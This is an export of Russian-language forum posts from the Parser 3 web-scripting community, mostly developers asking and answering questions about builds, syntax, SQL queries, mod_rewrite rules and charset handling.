"48641","До этого на этом же Линуксе собирал Парсер. Проблем не было. Сейчас решил собрать версию 3.2.1 через ./buildall-with-xml и получил ошибку:\
[code]\
/usr/bin/ld: cannot find -lstdc++\
collect2: ld returned 1 exit status\
[/code]\
Раньше решалось всё [url=\"http://www.parser.ru/forum/?id=42841\"]просто[/url].\
Сейчас сделал вроде бы тоже самое:\
[code]\
sudo ln -s /usr/lib/libstdc++.so.5.0.7 /usr/lib/libstdc++.so\
[/code]\
[i]Учитывая, что версия libstdc++ обновлена до 5.0.7[/i]\
\
[b]В чём может быть проблема?[/b]"
"48642","В целях повышения образованности разъясните, пожалуйста..."
"48644","Пример из 2 урока.\
Почему, когда я пишу вот так:\
^if($sections.uri eq $request:uri)\
то ошибок нет.\
\
А когда вот так:\
$page-url[$request:uri]\
^if($sections.uri eq $page-url)\
ругается: invalid number (double)\
\
Откуда берется число, ведь я использую квадратные скобки?"
"48645","url - было в ошибочной странице!,\
Такчто вам стоит заменить знак '-' на '_'"
"48646","Мы как будто пытаемся от $page отнять url. Пишите ${page-url}.\
\
Но лучше действительно заменить дефис на _. Слово с дефисом даже выделить в редакторе нельзя двойным кликом, а с подчерком — можно."
"48647","Спасибо!"
"48649","Плюсы и минусы обоих ???\
\
P.S.: мое мнение, что smarty (http://smarty.php.ne) это всего лишь надстройка на пхп, которая пытается решать задачи, решаемые связкой XML+XSLT. Но только по своему, со своим синтаксисом и т.п."
"48650","качество кода sqlite определённо не уступает mysql. \
а дальше чистая логика - sqlite медленнее mysql только на задачах, где требуется одновременный доступ на запись в несколько таблиц из нескольких соединений. и то - заметная разница будет только при большой нагрузке (тыщ эдак 100 хитов в сутки)\
\
драйвер sqlite для парсера существует. ссылки найдутся поиском по форуму... PAF, кстати, говорил что может быть выложит куда-нибудь в раздел \"прислали пользователи\", или в основной, т.к. кода там 100 строчек от силы."
"48651","Люди. Понимаю, что тема не по парсеру, но…\
Сейчас пытаюсь въехать в регулярные выражения. Получается с трудом. Но эту задачку нужно срочно решить.\
Использую Mode Rewrite. Ссылка, куда обращаюсь выглядит вот так: \
[code]view-5.html[/code]\
В .htaccess стоит строка \
[code]RewriteRule   ^view-(.+).html$ /article/view.html?id=$1 [L][/code]\
Всё работает. До тех пор, пока не пытаюсь вставить в шаблон символ /\
Т.е. мне нужно, чтобы ссылка была абсолютной:\
/article/view-5.html\
Делаю выражение:\
[code]RewriteRule   ^/article/view-(.+).html$ /article/view.html?id=$1 [L][/code]\
Не работает. (No such file or directory (2), actual filename ‘z:/home/cdvd/www/article/view-2.html’)\
Делаю зачем-то\
[code]RewriteRule   ^\\/article\\/view-(.+).html$ /article/view.html?id=$1 [L][/code]\
Тоже не работает.\
Подскажите, чего не хватает, чтобы в шаблоне можно было использовать /\
\
А вообще мне в итоге нужно сделать так, чтобы генерируемая ссылка выглядела:\
[code]/article/view/5/[/code]\
А обращение происходило к странице /article/view.html?id=5"
"48652","Неплохобы конечно иметь возможность встраивать в свою CMS, делать это локально было бы вдвойне приятнее."
"48654","Скорее вопрос Александру (PAF).\
\
Как в Парсере можно узнать, указывают ли 2 junction переменых на один метод?\
\
Я думал, что конструкция вида (см. код) вернет 1, но получаю только  исключительную ситуацию...\
[code]\
$j1[$method1]\
$j2[$method1]\
\
^if($j1 == $j2){1}{0}\
[/code]"
"48655","можно ли выбрать елемент xdoc по определенному значению определенного атрибута?\
\
или ещё вариант: использовать getElementById ...в этом случае у элемента должен быть атрибут id? или id забаётся другим способом?"
"48658","[quote]качество кода sqlite определённо не уступает mysql.[/quote]\
Любопытно, как вы это оцениваете?"
"48660","Здравствуйте!\
Немного о задаче:\
Разрабатывается скрипт для управления рассылками. Основная задача - его универсальность и гибкость. Использование - управление рассылками новостей, предложений и т.п. участникам.\
\
На этапе хранения кода рассылки возник вопрос \"как хранить код\"?\
На мой взгляд, если мы хотим добится наибольшей универсальности код потребуется хранить в бд. (чтобы не создавать отдельных классов для каждой рассылки).\
\
По-эксперементировав с извлечением строк вида $var[abc] из бд ничего не получилось. Выводится '$var[abc]'\
\
Как можно выполнить код, взятый из бд?"
"48664","Parser язык простой. Никаких манипуляций с указателями (сверх абсолютно необходимого для вызова методов) в него не заложено.\
\
уже предлагал обсудить исходную задачу..."
"48665","При попытке использования Javascript внутри ^if() или ^menu выдает ошибку Unhandled Exception, в логе или \"menu' method of table (table) accepts maximum 2 parameter(s)\" или \"'if' method of MAIN (MAIN) accepts maximum 3 parameter(s)\". Хотнлось бы его как-нить втюхать в них. Подскажите профи человеку недалекому в Парсере."
"48666","это из-за того, что ты в JS используешь символ \";\", который в парсере имеет особый смысл - почитай про taint/untaint или же просто перед каждой \";\" ставь \"^\""
"48667","Спасибо за столь быстрый и нужный ответ дорогой друг :)"
"48669","Дошли руки обновить \"Швейцарский ножик\":\
\
- теперь в состав пакета включена версия 3.2.1 Парсера и новая версия мануала\
- исполняемый файлик \"контрольной панели\" распух вдвое до 136Кб, зато не требует наличия в системе mswinsck.ocx, для установки которого требовались админские права (выложен на sourceforge отдельным файлом, если кому охота обновить имеющийся комплект - хотя смысла это делать особого нет). \
\
[b]Просьба к Мише[/b] обновить текст на http://www.parser.ru/download/win32/ :\
\
[quote]Apache Swissknife 3.0 (4,3 МБ)\
 \
Включает инсталлятор, Parser 3.2.1 с поддержой XML и документацией, Apache 1.3, MySQL 4.0, MySQL Front 2.5, интерпретатор PHP 4.3, а также эмулятор SMTP-сервера и контрольную панель управления. Комплект уже настроен и содержит работающие примеры (в том числе пример \"1 урока\" из документации).[/quote]\
\
адрес ссылки - http://swissknife.bougakov.com/?comefrom=parser.ru"
"48672","Я имею введу, если на сайт будет закачан файл-архиф(RAR/ZIP), то какой язык будет взаимодействовать с ним, и может ли работать с ними(архивами) Parser3"
"48673","вызываете архиватор/разархиватор и делаете че сумеете...\
http://www.parser.ru/docs/lang/?filecgiexec.htm"
"48674","Определенно, это сейчас весьма популярный спам в форумах. Эти сообщения имеют очень характерные признаки, по которым их можно практически безошибочно идентифицировать.\
\
Интересно, пользуется ли кто-нибудь наличием этих признаков для автоматической фильтрации подобных сообщений на своих форумах?"
"48675","Я пытаюсь использовать разделитель в методе Menu, но вкралась какая-то ошибка. Разделитель должен ставиться после каждой не пустой строки, но у меня он ставиться перед первой записью и после остальных.\
\
Вот используемый код:\
^categories.menu{\
	^if($categories.link_to_category_id eq '0'){\
		^if($categories.parent_id eq '0'){ \
		$parent[$categories.category_id]\
		<b>$categories.category_name</b> <br>\
		^categories.menu{\
			^if($categories.parent_id eq $parent){\
			<span style=\"color:green\">$categories.category_name</span>\
			}\
		}{\
#разделитель\
		^if($categories.parent_id eq $parent){\
		<span style=\"color:green\"> | </span>\
		}\
		}\
\
		}\
      } \
}\
}\
\
Вот результат:\
Гардероб\
| Одежда | Обувь | Нижнее белье\
\
Как избавиться от этого разделителя перед записью?\
Заранее благодарю."
"48676","я конечно могу быть не прав, но по-моему работет.\
[code]\
^categories.menu{\
	^if($categories.link_to_category_id eq '0'){\
		^if($categories.parent_id == 0){\
			$parent[$categories.category_id]\
			<b>$categories.category_name</b>\
#если есть что показать то покажем подменю\
			$sub_categories[^categories.select($categories.parent_id == $parent)]\
			^if(def $sub_categories){\
				<br />\
				^sub_categories.menu{\
						<span style=\"color:green\">$sub_categories.category_name</span>\
				}{\
						<span style=\"color:green\"> | </span>\
				}\
			}\
# end если есть что показать то покажем подменю\
		}\
	}\
}{\
	^if($categories.parent_id == 0){\
		<br />\
	}\
}\
[/code]"
"48677","А что собственно передается методам? Ссылка или копия объекта?\
\
И это что за операция:\
\
[code]$now[^date::now[]]\
$now2[$now][/code]\
\
$now2 это ссылка на объект $now или копия?\
\
А это что такое:\
\
[code]$txt[Текст]\
$txt2[$txt][/code]\
\
$txt2 это ссылка на объект $txt или копия?\
\
Если методам передаются ссылки на объекты, то каким образом передавать копии объектов? Ведь не у всех классов есть конструкторы копирования."
"48678","Это всё ссылки"
"48679","Есть метод с таким кодом:\
\
[code]@method[][a]\
$a[текст1]\
$b[текст2]\
$aa[^process{^$a}]\
$bb[^process{^$b}][/code]\
\
В итоге в переменной $aa будет пусто, а в переменно $bb будет текст \"текст2\".\
\
Почему локальная переменная $a не доступна?"
"48680","И как передавать копии объектов методам? Бывает нужно передавать копии, а не ссылки. А то получается, методам и изменить никак нельзя и скопировать во временную переменную весьма затруднительно."
"48681","Нашел на форуме про эти ссылки/объекты: http://www.parser.ru/forum/?id=43848\
И все-таки почему не передаются ссылки на строки?\
Это единственные объекты, на которые не передаются ссылки?"
"48682","[code]\
^process{@main[]\
^$a(1)\
bla-bla-bla}\
[/code]"
"48684","В документации нет ничего про это. Приходится самому додумывать."
"48685","http://www.parser.ru/forum/?id=34550\
http://www.parser.ru/forum/?id=35860\
http://www.parser.ru/forum/?id=35886"
"48686","[code]CREATE PROCEDURE p () SELECT 'a';[/code]\
\
[quote]call p() \
PROCEDURE testdb.p can't return a result set in the given context\
[/quote]\
Безразлично к контексту запуска (void, string, table). libmySQL.dll  из стандартной поставки базы."
"48687","При выводе поля из базы данных оно трижды повторяется из-за того, что имеется три записи по связанному с ним полю из другой таблицы. Вот как это выглядит:\
\
Гардероб: мужской | женский | детский \
Гардероб: мужской | женский | детский \
Гардероб: мужской | женский | детский\
\
\
Таблица context_preamble\
context_preamble_id 	context_preamble 	link_to_context_preamble_id \
1	Гардероб	0\
\
\
Таблица context_filter\
context_preamble_id 	context 	category_id \
1	мужской	1\
1	женский	1\
1	детский	1\
\
\
^connect[$connect_string]{\
	$context_filter[^table::sql{select\
		context_filter.category_id, context_filter.context_preamble_id, context_filter.context, context_preamble.context_preamble, context_preamble.link_to_context_preamble_id \
	from\
		context_filter, context_preamble, categories\
	where \
		context_filter.category_id = categories.category_id\
		and context_filter.context_preamble_id = context_preamble.context_preamble_id\
}]\
\
^context_filter.menu{\
$context_filter.context_preamble:\
	^context_filter.menu{\
		<span style=\"color:green\">$context_filter.context</span>\
	}{|}\
}{<br>}\
\
\
Пожалуйста, объясните, что я не так делаю.\
Заранее благодарю."
"48688","В таблице `categories' есть три строки с `category_id' = 1"
"48689","Прошло много времени.\
Так чем же дело кончилось?\
\
Где ссылка на сорцы драйвера sqlite?\
Где позиция разработчиков?\
Cкажите же в конце концов \"sqlite g.. и нам это не надо\" - отписки и отсылки надоели.\
глубоко уважаемый PAF писал что его sqlite интересует.\
Niko поясните пожалуйста, существует ли sqlite драйвер для парсера и кто его зажал :)\
\
желательно без хамского \"поищите не форуме\", которое здесь так любят, пожалуйста"
"48692","отношением объёма кода к фичастости ;)\
отзывами в мейллисте sqlite..."
"48694","я сорцы отдал... ответ получил что их добавили в CSV\
в новых релизах вроде не было.\
\
драйвер существует :)"
"48695","будем смотреть csv"
"48696","Я попросил админа что бы он мне поставил на папку files на ftp отдельный пароль, что бы давать челам, что бы они там музыку могли записывать, но изза этого я не могу достучаться до этих файлов, тоесть парсер их не видет \
^if(-f $music.uri){\
$f[^file::stat[$music.uri]]\
...\
}\
тоесть в базе у меня прописан относительный путь в виде /files/music/Dj_Induss_-_Breaks_Promo_Mix_nightlab_by.mp3, обсалютные пути тоже не спасают.\
\
Что делать подскажите"
"48697","Для работы с одной процессинговой конторой, необходимо подписывать запрос ключем. Есть пример в пхп, но хотелось бы больше об этом узнать:\
\
[code]<?php\
// &#56256;&#56937;&#56256;&#56936;&#56256;&#56926;&#56256;&#56925;&#56256;&#56936;&#56256;&#56940;&#56256;&#56936;&#56256;&#56924;&#56256;&#56930;&#56256;&#56940;&#56256;&#56950;&#56256;&#56323;&#56256;&#56926;&#56256;&#56922;&#56256;&#56935;&#56256;&#56935;&#56256;&#56949;&#56256;&#56927;\
$PurchaseTime = date(\"ymdHis\") ;\
$data = \"1751852;;$PurchaseTime;ORDER-2;980;1200;;\" ;\
// &#56256;&#56937;&#56256;&#56938;&#56256;&#56936;&#56256;&#56945;&#56256;&#56930;&#56256;&#56940;&#56256;&#56922;&#56256;&#56940;&#56256;&#56950; RSA &#56256;&#56932;&#56256;&#56933;&#56256;&#56952;&#56256;&#56945;&#56256;&#56323;&#56256;&#56940;&#56256;&#56936;&#56256;&#56938;&#56256;&#56925;&#56256;&#56936;&#56256;&#56924;&#56256;&#56944;&#56256;&#56922;\
$fp = fopen(\"/opt/deploy/certs/1751852.pem\", \"r\");\
$priv_key = fread($fp, 8192);\
fclose($fp);\
$pkeyid = openssl_get_privatekey($priv_key);\
// &#56256;&#56937;&#56256;&#56936;&#56256;&#56933;&#56256;&#56941;&#56256;&#56945;&#56256;&#56930;&#56256;&#56940;&#56256;&#56950;&#56256;&#56323;&#56256;&#56937;&#56256;&#56936;&#56256;&#56926;&#56256;&#56937;&#56256;&#56930;&#56256;&#56939;&#56256;&#56950;\
openssl_sign( $data , $signature, $pkeyid);\
// free the key from memory\
openssl_free_key($pkeyid);\
// &#56256;&#56929;&#56256;&#56922;&#56256;&#56932;&#56256;&#56936;&#56256;&#56926;&#56256;&#56930;&#56256;&#56938;&#56256;&#56936;&#56256;&#56924;&#56256;&#56922;&#56256;&#56940;&#56256;&#56950;&#56256;&#56323;&#56256;&#56929;&#56256;&#56935;&#56256;&#56922;&#56256;&#56945;&#56256;&#56927;&#56256;&#56935;&#56256;&#56930;&#56256;&#56927;&#56256;&#56323;&#56256;&#56924; BASE64 , &#56256;&#56940;&#56256;&#56922;&#56256;&#56932;&#56256;&#56323;&#56256;&#56932;&#56256;&#56922;&#56256;&#56932; $signature &#56256;&#56930;&#56256;&#56934;&#56256;&#56927;&#56256;&#56927;&#56256;&#56940;&#56256;&#56323;&#56256;&#56923;&#56256;&#56930;&#56256;&#56935;&#56256;&#56922;&#56256;&#56938;&#56256;&#56935;&#56256;&#56949;&#56256;&#56931;\
// &#56256;&#56942;&#56256;&#56936;&#56256;&#56938;&#56256;&#56934;&#56256;&#56922;&#56256;&#56940;\
$b64sign = base64_encode($signature) ;\
// &#56256;&#56937;&#56256;&#56936;&#56256;&#56939;&#56256;&#56933;&#56256;&#56922;&#56256;&#56940;&#56256;&#56950;&#56256;&#56323;&#56256;&#56929;&#56256;&#56935;&#56256;&#56922;&#56256;&#56945;&#56256;&#56927;&#56256;&#56935;&#56256;&#56930;&#56256;&#56927;&#56256;&#56323;&#56256;&#56937;&#56256;&#56927;&#56256;&#56938;&#56256;&#56927;&#56256;&#56934;&#56256;&#56927;&#56256;&#56935;&#56256;&#56935;&#56256;&#56936;&#56256;&#56931; $b64sign &#56256;&#56924;&#56256;&#56323;&#56256;&#56932;&#56256;&#56922;&#56256;&#56945;&#56256;&#56927;&#56256;&#56939;&#56256;&#56940;&#56256;&#56924;&#56256;&#56927;&#56256;&#56323;&#56256;&#56929;&#56256;&#56935;&#56256;&#56922;&#56256;&#56945;&#56256;&#56927;&#56256;&#56935;&#56256;&#56930;&#56256;&#56953;&#56256;&#56323;&#56256;&#56937;&#56256;&#56936;&#56256;&#56933;&#56256;&#56953;\
“Signature”\
?>[/code]\
\
[b]Проверка ответа[/b]\
\
[code]<?php\
// $data and $signature are assumed to contain the data and the signature\
// fetch public key from certificate and ready it\
$fp = fopen(\"/opt/deploy/certs/server.crt\", \"r\");\
$cert = fread($fp, 8192);\
fclose($fp);\
$pubkeyid = openssl_get_publickey($cert);\
// state whether signature is okay or not\
$ok = openssl_verify($data, $signature, $pubkeyid);\
if ($ok == 1) {\
echo \"good\";\
} elseif ($ok == 0) {\
echo \"bad\";\
} else {\
echo \"ugly, error checking signature\";\
}\
// free the key from memory\
openssl_free_key($pubkeyid);\
?>[/code]"
"48698","Заранее спасибо"
"48699","Возможно ли отключить перекодировку в «Парсере»? У меня Апач уже изначально настрен на поддержку кириллических кодировок, в обход «Парсера» с кодировкой проблем нет, но стоит только подключить в .htaccess обработку «Парсером» — сразу переглючивает весь текст. CharsetDisable On не помогает.\
Ось FreeBSD 4.11\
Apache 1.3.34"
"48700","Вызов скрипта\
[code]$f[^file::exec[/cgi/nconvert;;-o;$env:DOCUMENT_ROOT/shipments_photo/$form:table/$last/small/$form:picture.name;-rmeta;-ratio;-resize;100;$env:DOCUMENT_ROOT/shipments_photo/$form:table/$last/$form:picture.name]][/code]\
\
Огребаю\
Error: Can't create file (s:/home/compplus.ru/www/shipments_photo/av/10/small/22.jpg)\
\
Если убрать из пути папку small - всё ОК. В чём может быть проблема?"
"48703","посмотрите совпадает ли в $request:charset в главном auto.p с вашей кодировкой. Если нет, замените."
"48704","$form:table - имя таблицы\
$last - последний ID\
\
Не кажется что дело в них.\
\
Проблема решаема, если делать так:\
/путь/$form:table/$last/big/ - сюда класть оригинал\
/путь/$form:table/$last/ - а сюда превьюшку скидывать"
"48705","В запросе я использую GROUP BY context_preamble\
\
На выходе получаю:\
Гардероб: мужской\
\
Теперь слово \"Гардероб\" не повторяется трижды, зато не отображаються все его составляющие.\
Я что-то не так делаю?"
"48706","Для начала по коду, так легче читать:\
[code]\
$path[$env:DOCUMENT_ROOT/shipments_photo/$form:table/$last]\
$f[^file::exec[/cgi/nconvert;;-o;$path/small/$form:picture.name;-rmeta;-ratio;-resize;100;$path/$form:picture.name]]\
[/code]\
Второе, думаю проблема в правах на создание папок.\
\
Попробуйте создать папку small до того как туда сконвертировать, если ресайз пройдёт, значит дело в этом."
"48708","Ведется следствие."
"48710","2. в ./build-all я этот флаг включил. \
\
раз вы имеете возможность что-то собирать, то просто соберите из исходников, посмотрите INSTALL, теперь сборка parser из исходников даже с XML стала на порядок проще."
"48711","Лучше объясните, чего вы хотите добиться )\
\
И объязательно посмотрите на ^table.hash[]"
"48712",";)"
"48713","мы с вами подробно это уже обсуждали.\
мне показалось, я ясно показал все сложности."
"48714","у вас есть переносы строк и табуляции.\
или аккуратно сотрите их,\
или воспользуйтесь хитрым подходом с явным определением локальной переменной result [см. документацию]."
"48715","добавьте тривиальную проверку на call.\
параллельно тому, как это сделано в oracle и odbc драйверах.\
\
когда драйвер создавался, не было никаких call."
"48716","и в почте пусто.\
возможно, я не в себе.\
вдруг не сложно, пошлите ещё раз?\
с копией Мише :)"
"48717","обсудите проблему со своим админом.\
если \"раньше работало\", а \"теперь сломалось\", значит он найдёт вам вариант, когда будет \"продолжать работать\"."
"48718","Делаю перебор строк методом Menu, но почему-то не отображается разделитель. Все вроде бы правильно... Не пойму, в чем проблема?\
\
^categories.menu{\
		^if($categories.category_id eq '1'){\
		 <span class=\"NewsDate\">$categories.category_name / </span>\
			 ^categories.menu{\
				^if($categories.parent_id eq '1'){\
				$child[$categories.link_to_category_id]\
				$category_links[^categories.select($categories.category_id == $child)]\
					^if(def $category_links){\
						^category_links.menu{\
						<span class=\"NewsDate\" style=\"color:green\">$category_links.category_name</span>\
						}{\
#вставляем разделитель\
						<span style=\"color:green\"> | </span>\
						}\
					}\
				}\
\
			}\
		}\
}"
"48719","мне помог."
"48722","отправил :)"
"48723","[code]\
...\
<span style=\"color:green\">\
^category_links.menu{\
	<span class=\"NewsDate\">\
	$category_links.category_name</span>\
}[ | ]\
</span>\
...\
[/code]\
пробуйте так..."
"48725","Ищу пример простого интернет-магазина, реализованного на Parser 3.0. Заранее благодарю!"
"48726","Я наверное, остал от жизни. Какие это признаки? и что за метод спама. Я вроде с таким не встречался, хотя проблема спама в форумах меня весьма интересует. \
Можно попросить чуть подробнее описать о чем речь?"
"48728","Блин, а я баг нашёл :) Php.ini, оказывается, надо класть не под бок к php4apache.dll, а под бок к apache.exe. Век живи, век учись... Ладно, доперепишу smtp-эмулятор и сделаю новую версию пакета.\
\
P.S. Ты бы убрал \"банановый\" из названия - чего незнакомый с шуткой народ пугать?"
"48729","[url=\"http://www.yandex.ru/yandsearch?text=%E2%FB%F7%E5%F0%EA%ED%E8%F2%E5+%EA%EE%F8%E5%EB%E5%EA&numdoc=0\"]вычеркните кошелек[/url]\
\
Ну и второй признак — больший, чем среднего сообщения, размер. Хотя это от тематики форума сильно зависит. Здесь, например, со всякими выкладками кода — побольше будет :)"
"48730","не знаю может это фича или исправлено уже в новых версиях, вобщем при file::cgi/exec парсер меняет текущий каталог не на каталог с исполняемым скриптом, а на каталог с бинарником apache (My website/Вебсервер/apache)."
"48732","... Попробуйте по форуму поискать. что-то вроде \"простого интернет-магазина\" тут проскакивало... Корзина там какая-то... Эхе-хех..."
"48733","вы на какой версии наблюдаете?"
"48734","модуль к apache, 3.2.1 (compiled on i386-pc-win32)\
\
версия swissknife старенькая, если не ошибаюсь от 16.11.2004, я только парсер у нее обновляю постоянно.\
\
если коротко, примерно такой код:\
[code]$file[^file::exec[/../cgi-bin/curl;;-o parser.html;-c cookie.txt;-i;http://www.parser.ru/forum/]][/code]\
создает указанные файлы parser.html и cookie.txt в директории с исполняемым файлом apache."
"48735","я там одинаковый подход использовал.\
\
note: на unix другая реализация exec/cgi, там всё по своему.\
note: на win32 внимательно за этим не следил, сами пользуемся мало."
"48736","В том-то и дело, что совпадает. Кодировка и в файле, и в броузере windows-1251, в /cgi-bin/auto.p следующее:\
...\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
...\
В броузере текст перекодирован из KOI8 в windows-1251, соответственно - кракозябры. Я не сомневаюсь, что «Парсер» умеет работать с кодировками, но возможно ли отключить перекодировку «Парсером»? Мне бы это сэкономило кучу времени."
"48737","но возможно он устанавливает заголовки, а дальше начинает перекодировать апач. попробуйте и там и там указать koi8-r"
"48738","скачал новую версию Парсера в cgi-bin, привязал к .htm, попробовал, оно мне выдает:\
[code][Tue Jan 10 20:32:52 2006] [error] Unrecognized character \\x90 at (eval 14) line 3.[/code]\
где число в eval увеличивается на единицу при каждом новом рефреше :)\
пока не разобрался что это такое...\
\
тут еще заглянул в логи которые в папке с бинарником apache, там пишут вот такое:\
[code][Tue Jan 10 19:54:41 2006] [warn] Loaded DSO path/to/ApacheModuleParser3.dll uses \
plain Apache 1.3 API, this module might crash under EAPI! (please recompile it with -DEAPI)[/code]\
пишут они это давно, как минимум начиная с версии 3.1.4\
\
вобщем, завтра пожалуй не поленюсь и переинсталирую swissknife на новый, чтобы исключить конфликты версий возможные, там посмотрим..."
"48739","Спасибо за подсказку, удалось добиться правильной перекодировки путем\
…\
$request:charset[windows-1251]\
$response:charset[koi8-r]\
…\
Изврат, конечно, но в нашем деле без него никуда :)\
Еще раз благодарю за помощь."
"48740","Ай-яй-яй, «непатриотично» то как!\
А как же Яндекс? :)))"
"48741","http://cosmeticsrussia.com"
"48742","http://www.madikuz.ru/shop/"
"48743","Один и тот же код выполняется на одной машине, и не выполняется на другой:\
\
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteBase /\
\
# код\
RewriteRule ^news/([0-9]+)\\-([0-9]+)/$ news.html?y=$2&m=$1 [L,QSA]\
\
Лог:\
add path-info postfix: s:/home/calendar.ru/www/news.html -> s:/home/calendar.ru/www/news.html/1-2006/\
strip per-dir prefix: s:/home/calendar.ru/www/news.html/1-2006/ -> news.html/1-2006/\
applying pattern '^news/([0-9]+)\\-([0-9]+)/$' to uri 'news.html/1-2006/'\
pass hrough s:/home/calendar.ru/www/news.html\
\
В чём может быть причина?"
"48744","[quote]\
[Tue Jan 10 20:32:52 2006] [error] Unrecognized character \\x90 at (eval 14) line 3.\
[/quote]\
это сообщение perl-а. вообще-то не при чём тут :)\
\
[quote]\
[Tue Jan 10 19:54:41 2006] [warn] Loaded DSO path/to/ApacheModuleParser3.dll uses \
plain Apache 1.3 API, this module might crash under EAPI! (please recompile it with -DEAPI)\
\
пишут они это давно, как минимум начиная с версии 3.1.4\
[/quote]\
тут важна версия Apache -- начиная с какой версии Apache такое выдаётся.\
\
если кто-нибудь хочет прислать update, убирающий это, добро пожаловать ко мне в почту :)"
"48745","у вас русский Apache?\
у вас каталог cgi-bin физически лежит [b]вне[/b] веб-пространства?\
\
тогда положите в cgi-bin ещё один файл .htaccess с командой отключения перекодировок Apache.\
\
и всё заработает без извратов."
"48746","вы сравните результаты поиска, поймёте, почему сейчас советую google."
"48747","news ne news.html\
\
вы, похоже, ссылку ставите зачем-то на /news.html/1-2006"
"48748","Ссылку ставлю как /news/^dtf:format[%d-%m-%Y;$news.date]/\
\
Каталога news не существует естественно.\
Существует в корне файл news.html"
"48749","сохраняет куда положено. Почему на парсерном файле появляется ошибка перла так и не разобрался, поставил урезанную версию без mod_perl, все работает. Я там сначала забыл библиотеки XML подключить, наверное по этому оно и ругалось."
"48750","Существовал код:\
[code]\
$selectStrings[^table::sql{\
SELECT content_id \
FROM strings_id \
WHERE card_id = '$selectCardForEdit.id'\
}]\
^selectStrings.menu{\
$selectStringsContent[^table::sql{\
SELECT id, content, name_id \
FROM stringscontent \
WHERE id = '$selectStrings.content_id'\
}]\
^selectStringsContent.menu{\
$selectStringsName[^table::sql{\
SELECT id, name_rus, ischare \
FROM stringsname \
WHERE id = '$selectStringsContent.name_id'}]\
^selectStringsName.menu{\
<tr>\
<td>$selectStringsName.name_rus:</td>\
<td>^if($selectStringsName.ischare == 0){\
<input type=\"hidden\" content=\"name_${selectStringsName.id}\" />\
^if($selectStringsName.id == 24){\
<textarea name=\"content_inp_$selectStringsName.id\"></textarea>}\
{<input name=\"content_inp_$selectStringsName.id\" />}\
}{\
$SelectOptions[^table::sql{\
SELECT id, content \
FROM stringscontent \
WHERE name_id = $selectStringsName.id }] \
<select name=\"content_sel_$selectStringsName.id\">\
^SelectOptions.menu{^if($SelectOptions.id == $selectStringsContent.id){\
<option value=\"${SelectOptions.id}\" selected>$SelectOptions.content</option>\
}{\
<option value=\"${SelectOptions.id}\">$SelectOptions.content</option>\
}}\
</select> \
</td>\
</tr><tr>\
<td>или новое:</td>\
<td><input type=\"hidden\" content=\"name_${selectStringsName.id}\" />;\
<input name=\"content_inp_$selectStringsName.id\" />}\
}\
}\
}\
}\
[/code]\
Надо его переписать под более универсальные задачи. Соотвественно чтобы к каждому блоку принадележал свой набор форм и т.д. проблема же заключается что сами формы надо получается хранить в бд. С другой стороны это не так ужобно для редактирования самого исходника. Возможно есть какие-либо более элегантные решения задавать формы для данных по id типа в бд?"
"48751","К сожалению, не помогает. \
Пробовал и старую CharsetTurnOff On, и новую CharsetDisable On.\
Если подумать, проще отключить перекодировку в «Парсере» и не извращаться. По крайней мере, я просил подсказать реализацию этого решения сразу, а в ответах мне советуют не трогать «Парсер» и разбираться с апачем."
"48753","для форм средней сложности (для которых некое общее решение работает неплохо) мы используем XML описание формы (и связанных с ней форм, если, скажем, длинная ветвистая анкета) и код, обрабатывающий это описание."
"48754","Вар. 1 xml как хранилище типов форм, соответсвенно все формы храняться в xml файле, извлекаются по оттуда поп редварительно сделанному запросу на идентификаторы и препарируются потом хslt,\
А поскольку название формы задается динамически и метод извлечение данных из таблицы бд, всегда совпадают в данном контексте, то нам достаточно отредактировать xml файл в котором в качестве имени преславутые id.\
Или второй вариант, когда под каждый тип данных формируется xml со всеми типами форм принадлежащих этому типу, котрый обрабатывается xslt, что в принципе не исключает необходимости хранения форм по отдельности в xml файле, и их оттуда доставания, но толкьо при формировании и редактировании типа данных.\
Я правильно понял?"
"48755","Проблема вообщем такая.\
Ставлю 3.1.6 - все отлично работает\
Ставлю 3.2.1 - ошибка . В логах apache (1.3.33)\
\
Premature end of script headers: /home/xxx/cgi/parser3/parser3.cgi\
\
Из шелла пускаю парсер - вот это вижу:\
\
>~/cgi/parser3/parser3.cgi\
Couldn't read /proc/self/stat\
Aborted\
\
Хостинг под AtlLinux Master 2.4  ядро 2.4\
Пробовал Парсер 3.2.1 под RH и с XML и без\
\
Что скажете ?"
"48756","я подумал, вы поискали сначала. этому решению не один год. всем помогало, вам не помогло = вы плохо пробовали.\
\
если вы не разобрались с тем, как и что происходит с кодировкой.\
если вам кажется, что \"что-то работает\".\
\
это означает только то, что рано или поздно перестанет. причём выберет момент, когда рядом будет стоять заказчик и будет открыта рекламная кампания.\
\
не останавливайтесь, разберитесь как следует."
"48757","воспользуйтесь поиском."
"48759","вы поняли неправильно.\
подумайте=сами поймёте."
"48760","А если не секрет, как у вас для <img /> расставляют height & width, если используется XSLT? Мишин ^image[] ведь не катит?\
\
Неужели кодер вручную расставляет для каждой картинки?! Или где-то неподалеку хранится xml с размерами?"
"48761","Сам спать хочу :0\
Да все дело в кофе, точнее в его отсутствии"
"48763","В данном случае у нас $j1 и $j2 переменные, хранящие \"указатель\" на метод. И при вызове $j1 будет ошибка, поэтому в данном случае можно однозначно расценивать это равенство, как сравнение \"указателей\" на метод. Не так ли?"
"48764","загляните в исходники, посмотрите что к чему, и подумайте, как красиво сделать что-то подобное, не нарушив простой, стройной, быстро работающей конструкции?\
\
ещё не поняли, почему я (и концепция) упираемся?\
да просто потому, что мне (и концепции) подобные манипуляции кажутся… запутывающими код.\
\
наш флаг: код должен быть простым и читаться максимальным количеством людей за минимальное время.\
\
мне не нравится даже то, что можно проверять существование функций (нельзя было запретить :).\
если возникает желание проверить на существование функции, значит человек почему-то не хочет пользоваться виртуальными функциями.\
а если хочется поставить запрет на вызов неперекрытой функции всегда можно объявить её «абстрактной»:\
[code]\
@method[] abstract\
^throw[pure.virtual;please override this method]\
[/code]\
\
тогда проверка на существование метода просто не нужна.\
\
предлагаемое вами — ровно на ту же тему.\
и вы упорно не желаете обсудить исходную задумку.\
между тем, уверен, есть подобное же [b]красивое[/b] решение."
"48765","Я уже наверное минимум третий кто с этой проблемой сталкивается. Файлик config_auto.h не получается из config_auto.h.in. Соответственно и вылетает такая вот беда.\
\
Версия: parser 3.1.6\
\
При выполнение ./configure вылетает еще вот такое:\
configure: configuring in src/lib/ltdl\
configure: WARNING: no configuration information is in src/lib/ltdl\
\
(Только просьба не советовать выполнить touch - не помогает)."
"48766","[code]\
Index: mysql/parser3mysql.C\
